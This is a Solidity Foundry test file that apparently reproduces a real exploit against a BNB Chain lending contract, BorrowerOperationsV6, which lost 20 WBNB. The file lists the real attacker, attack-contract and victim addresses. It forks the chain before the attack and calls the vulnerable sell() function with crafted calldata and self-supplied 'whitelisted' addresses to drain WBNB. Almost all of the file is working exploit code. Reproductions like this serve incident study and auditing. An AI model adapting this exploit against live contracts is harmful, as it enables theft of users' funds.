TokenHolder_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

// @KeyInfo - Total Lost : 20 WBNB
// Attacker : https://bscscan.com/address/0x3fee6d8aaea76d06cf1ebeaf6b186af215f14088
// Attack Contract : https://bscscan.com/address/0xe82Fc275B0e3573115eaDCa465f85c4F96A6c631
// Vulnerable Contract : https://bscscan.com/address/0x8c7f34436C0037742AeCf047e06fD4B27Ad01117
// Attack Tx : https://bscscan.com/tx/0xc291d70f281dbb6976820fbc4dbb3cfcf56be7bf360f2e823f339af4161f64c6

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x8c7f34436C0037742AeCf047e06fD4B27Ad01117#code

// @Analysis
// Post-mortem : N/A
// Twitter Guy : N/A
// Hacking God : N/A
pragma solidity ^0.8.0;

contract ExploitTemplate is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 63856735 - 1;
    BorrowerOperationsV6 borrowerOper = BorrowerOperationsV6(0x616B36265759517AF14300Ba1dD20762241a3828);
    address WBNB = address(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        fundingToken = WBNB;
    }

    function testExploit() public balanceLog {
        uint256 loadId = 0;
        bytes memory sellingCode = abi.encodeWithSignature("privilegedLoan(address,uint256)", WBNB, 20 ether);
        address tokenHolder = address(this);
        address inchRouter = address(0x2EeD3DC9c5134C056825b12388Ee9Be04E522173);
        address integratorFeeAddress = address(this);
        address whitelistedDex = address(this);
        borrowerOper.sell(loadId, sellingCode, tokenHolder, inchRouter, integratorFeeAddress, whitelistedDex);
    }

    function loans(uint256 arg0) public returns(Loan memory) {
        Collateral memory c = Collateral(WBNB, 0, 0, false, 0, 0, 0);
        Loan memory l = Loan(0, 0, c, 0, 0, address(this), 0);
        return l;
    }

    function repayLoan(uint256 loadId, bool payInStablecoin) public {}

    function privilegedLoan(address flashLoanToken, uint256 amount) public {}
}

struct Loan {
    uint256 id;
    uint256 amount;
    Collateral collateral;
    uint256 collateralAmount;
    uint256 timestamp;
    address borrower;
    uint256 userPaid;
}


struct Collateral {
    address collateralAddress;
    uint256 maxLendPerToken;
    uint256 interestRate;
    bool active;
    uint256 minAmount;
    uint256 maxExposure;
    uint256 currentExposure;
}

interface BorrowerOperationsV6 {
    function sell(uint256 loanId, bytes calldata sellingCode, address tokenHolder, address inchRouter, address integratorFeeAddress, address whitelistedDex) external payable;
}